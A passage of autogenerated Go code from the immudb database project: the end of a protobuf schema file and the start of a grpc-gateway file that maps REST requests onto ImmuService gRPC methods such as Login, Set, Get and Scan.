&v.unknownFields default: return nil } } file_schema_proto_msgTypes[95].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*SQLGetRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[96].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*VerifiableSQLGetRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[97].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*SQLEntry); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[98].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*VerifiableSQLEntry); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[99].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*UseDatabaseReply); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[100].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ChangePermissionRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[101].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ChangeSQLPrivilegesRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[102].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ChangeSQLPrivilegesResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[103].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*SetActiveUserRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[104].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DatabaseListResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[105].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DatabaseListRequestV2); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[106].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DatabaseListResponseV2); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[107].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DatabaseInfo); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[108].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Chunk); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[109].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*UseSnapshotRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[110].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*SQLExecRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[111].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*SQLQueryRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[112].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*NamedParam); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[113].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*SQLExecResult); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[114].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CommittedSQLTx); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[115].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*SQLQueryResult); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[116].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Column); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[117].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Row); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[118].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*SQLValue); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[119].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*NewTxRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[120].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*NewTxResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[121].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ErrorInfo); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[122].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DebugInfo); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[123].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*RetryInfo); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[124].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TruncateDatabaseRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[125].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TruncateDatabaseResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[126].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Precondition_KeyMustExistPrecondition); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[127].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Precondition_KeyMustNotExistPrecondition); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_schema_proto_msgTypes[128].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Precondition_KeyNotModifiedAfterTXPrecondition); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } } file_schema_proto_msgTypes[14].OneofWrappers = []interface{}{ (*Precondition_KeyMustExist)(nil), (*Precondition_KeyMustNotExist)(nil), (*Precondition_KeyNotModifiedAfterTX)(nil), } file_schema_proto_msgTypes[18].OneofWrappers = []interface{}{ (*Op_Kv)(nil), (*Op_ZAdd)(nil), (*Op_Ref)(nil), } file_schema_proto_msgTypes[118].OneofWrappers = []interface{}{ (*SQLValue_Null)(nil), (*SQLValue_N)(nil), (*SQLValue_S)(nil), (*SQLValue_B)(nil), (*SQLValue_Bs)(nil), (*SQLValue_Ts)(nil), (*SQLValue_F)(nil), } type x struct{} out := protoimpl.TypeBuilder{ File: protoimpl.DescBuilder{ GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_schema_proto_rawDesc, NumEnums: 3, NumMessages: 136, NumExtensions: 0, NumServices: 1, }, GoTypes: file_schema_proto_goTypes, DependencyIndexes: file_schema_proto_depIdxs, EnumInfos: file_schema_proto_enumTypes, MessageInfos: file_schema_proto_msgTypes, }.Build() File_schema_proto = out.File file_schema_proto_rawDesc = nil file_schema_proto_goTypes = nil file_schema_proto_depIdxs = nil } ================================================ FILE: pkg/api/schema/schema.pb.gw.go ================================================ // Code generated by protoc-gen-grpc-gateway. DO NOT EDIT. // source: schema.proto /* Package schema is a reverse proxy. It translates gRPC into RESTful JSON APIs. */ package schema import ( "context" "io" "net/http" "github.com/golang/protobuf/descriptor" "github.com/golang/protobuf/proto" "github.com/grpc-ecosystem/grpc-gateway/runtime" "github.com/grpc-ecosystem/grpc-gateway/utilities" "google.golang.org/grpc" "google.golang.org/grpc/codes" "google.golang.org/grpc/grpclog" "google.golang.org/grpc/metadata" "google.golang.org/grpc/status" "google.golang.org/protobuf/types/known/emptypb" ) // Suppress "imported and not used" errors var _ codes.Code var _ io.Reader var _ status.Status var _ = runtime.String var _ = utilities.NewDoubleArray var _ = descriptor.ForMessage var _ = metadata.Join func request_ImmuService_ListUsers_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := client.ListUsers(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_ListUsers_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := server.ListUsers(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_CreateUser_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CreateUserRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.CreateUser(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_CreateUser_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CreateUserRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.CreateUser(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_ChangePassword_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq ChangePasswordRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.ChangePassword(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_ChangePassword_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq ChangePasswordRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.ChangePassword(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_ChangePermission_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq ChangePermissionRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.ChangePermission(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_ChangePermission_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq ChangePermissionRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.ChangePermission(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_ChangeSQLPrivileges_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq ChangeSQLPrivilegesRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.ChangeSQLPrivileges(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_ChangeSQLPrivileges_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq ChangeSQLPrivilegesRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.ChangeSQLPrivileges(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_SetActiveUser_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq SetActiveUserRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.SetActiveUser(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_SetActiveUser_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq SetActiveUserRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.SetActiveUser(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_Login_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq LoginRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.Login(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_Login_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq LoginRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.Login(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_Logout_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq emptypb.Empty var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.Logout(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_Logout_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq emptypb.Empty var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.Logout(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_Set_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq SetRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.Set(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_Set_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq SetRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.Set(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_VerifiableSet_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq VerifiableSetRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.VerifiableSet(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_VerifiableSet_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq VerifiableSetRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.VerifiableSet(ctx, &protoReq) return msg, metadata, err } var ( filter_ImmuService_Get_0 = &utilities.DoubleArray{Encoding: map[string]int{"key": 0}, Base: []int{1, 1, 0}, Check: []int{0, 1, 2}} ) func request_ImmuService_Get_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq KeyRequest var metadata runtime.ServerMetadata var ( val string ok bool err error _ = err ) val, ok = pathParams["key"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "key") } protoReq.Key, err = runtime.Bytes(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "key", err) } if err := req.ParseForm(); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuService_Get_0); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.Get(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_Get_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq KeyRequest var metadata runtime.ServerMetadata var ( val string ok bool err error _ = err ) val, ok = pathParams["key"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "key") } protoReq.Key, err = runtime.Bytes(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "key", err) } if err := req.ParseForm(); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuService_Get_0); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.Get(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_VerifiableGet_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq VerifiableGetRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.VerifiableGet(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_VerifiableGet_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq VerifiableGetRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.VerifiableGet(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_Delete_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DeleteKeysRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.Delete(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_Delete_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DeleteKeysRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.Delete(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_GetAll_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq KeyListRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.GetAll(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_GetAll_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq KeyListRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.GetAll(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_ExecAll_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq ExecAllRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.ExecAll(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_ExecAll_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq ExecAllRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.ExecAll(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_Scan_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq ScanRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.Scan(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_Scan_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq ScanRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.Scan(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_Count_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq KeyPrefix var metadata runtime.ServerMetadata var ( val string ok bool err error _ = err ) val, ok = pathParams["prefix"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "prefix") } protoReq.Prefix, err = runtime.Bytes(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "prefix", err) } msg, err := client.Count(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_Count_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq KeyPrefix var metadata runtime.ServerMetadata var ( val string ok bool err error _ = err ) val, ok = pathParams["prefix"] if 